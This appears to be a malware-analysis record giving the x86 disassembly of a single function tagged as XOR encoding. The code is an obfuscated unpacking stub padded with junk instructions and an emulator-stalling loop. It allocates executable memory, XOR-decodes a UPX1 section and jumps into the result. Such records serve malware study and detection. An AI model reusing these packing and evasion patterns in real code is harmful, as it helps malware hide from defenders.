Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x8c00f606
add edx, eax
mov eax, edx
mov eax, edx
popal
and eax, edx
sub eax, 0x93889b64
mov ecx, 0
mov ebx, edi
add eax, 1
inc eax
mov esi, ebx
add eax, edx
dec edx
sub edx, 0x708976a2
mov edi, esi
add edx, eax
dec edx
dec edx
inc ecx
inc edx
sub edx, 1
cmp ecx, 0x100a861
jne 0xa789c6
mov edx, eax
not edx
add edx, 0xd8d69cc6
not eax
inc eax
mov eax, 0xa78796
add ebx, 0xf7f05bbb
or esi, edi
mov ebx, esi
mov edx, 0xa7898a
sub esi, 1
add esi, 0x23e75c94
mov ecx, dword [eax]
mov edi, 0x105d64a0
mov ebx, 0xad5e3dfa
inc esi
and ecx, 0xff
inc edi
mov edi, 0x28e03947
xor dword [edx], ecx
mov esi, 0xcc981841
or esi, esi
add edx, 1
add ebx, 0x916ee9c3
sub edi, ebx
inc eax
dec esi
add esi, esi
and ebx, edi
cmp edx, entry0
jl 0xa78a21
and esi, esi
or edi, edi
not ebx
sub esi, ebx
inc edi
mov esi, 0x73d360fc
add esi, edi
dec ecx
mov ebx, 0xa7898e
and edx, esi
not esi
and ecx, ecx
mov ebx, dword [ebx]
mov ecx, 0xbbaad9f7
mov edx, edi
dec edx
mov ebx, dword [ebx]
add ecx, esi
mov esi, 0xb8ec627d
sub esi, edi
push ebx
mov edi, 0xc0a0dbeb
mov edi, 0x8826d7ed
mov ebx, 0xa7898a
mov ecx, esi
add edx, 0x388fc24d
add edi, 1
mov ebx, dword [ebx]
sub edx, esi
add edi, edi
sub ecx, edi
mov ebx, dword [ebx]
add edx, 0xf147558d
add esi, esi
push 0xa78992
mov esi, 0xe89bc9ed
sub esi, 0x5919e88b
add esi, 0x5f86f647
call ebx
and ecx, edx
inc edx
pop ebx
add edx, ecx
add ecx, 1
push 0xa7899f
inc edx
or ecx, esi
push eax
mov esi, 0x48a6b2a3
mov ecx, 0xcc44723a
mov edx, esi
call ebx
or ecx, edi
add edi, ecx
push 0x40
add ecx, 1
add esi, 1
push 0x3000
add esi, 0xd63e1ec3
or ecx, edi
mov edi, ecx
push 0x20000e7b
mov edi, 0x5ad04504
add edi, 0x4886a94e
push 0
and edi, edi
add ecx, edx
add edi, esi
call eax
sub edi, edx
inc esi
add eax, 0x20000e0e
not edx
and esi, ecx
mov ebx, 0xd275cfbd
mov esi, edi
sub ecx, edi
mov dword [eax], ebx
add esi, 0x244b89fa
mov ecx, edx
mov ebx, dword [eax]
not edi
sub ecx, esi
add edi, 0x296827f7
cmp ebx, 0xd275cfbd
je 0xa78b7b
mov edx, 0
mov ecx, dword [edx]
mov edx, edi
or esi, edx
or edx, ecx
mov esi, 0xdc3fed35
dec edi
add eax, 0xf418b79b
sub eax, 0x95ac0fea
not edx
mov ecx, section.UPX1
mov edx, eax
sub edx, eax
mov esi, 0xa78795
dec eax
dec edx
mov ebx, 0
inc eax
not eax
add eax, 0x677a304e
mov edi, 0xa78796
mov eax, 0x9b3d0bd3
add eax, 0xf73234bf
add edx, 0x640f9d92
lea edi, [ebx + edi]
inc eax
dec edx
dec edx
mov edi, dword [edi]
sub eax, edx
add eax, 1
sub eax, 0xbed5005d
and edi, 0xff
add eax, edx
and eax, eax
add ebx, 1
add edx, 0x80a05b60
dec eax
cmp ebx, 0x1f4
jne 0xa78c03
mov ebx, 0
mov eax, edx
or edx, edx
sub edx, 0x64eb635
mov eax, edx
or edx, edx
xor dword [ecx], edi
mov eax, 0x47591e39
mov eax, edx
add ecx, 2
mov edx, eax
sub edx, 0x76341f65
mov edx, 0x47daf869
cmp ecx, esi
jl 0xa78bb3
dec eax
add edx, 0x7e9bcc0
sub eax, 1
mov eax, edx
mov eax, section.UPX1
mov ebx, 0x6a69982a
sub ebx, esi
mov ecx, section.UPX1
and ebx, ebx
mov ebx, esi
mov edi, 0xa78795
inc ebx
sub esi, ebx
mov edx, 0
add ebx, 1
sub esi, 0x3c172f48
mov esi, 0xecdc5f55
mov dl, byte [ecx]
sub ebx, esi
sub esi, 1
mov byte [eax], dl
mov ebx, esi
inc ebx
inc eax
sub esi, 0x6e7d2c5f
inc ebx
add ecx, 2
sub esi, ebx
sub esi, ebx
cmp ecx, edi
jle 0xa78c77
add ebx, 0x6cc825b1
add esi, esi
add ebx, ebx
or eax, edx
add edx, eax
sub esp, 4
mov dword [esp], 0x8dc6a0
add eax, eax
or eax, edx
inc edx
ret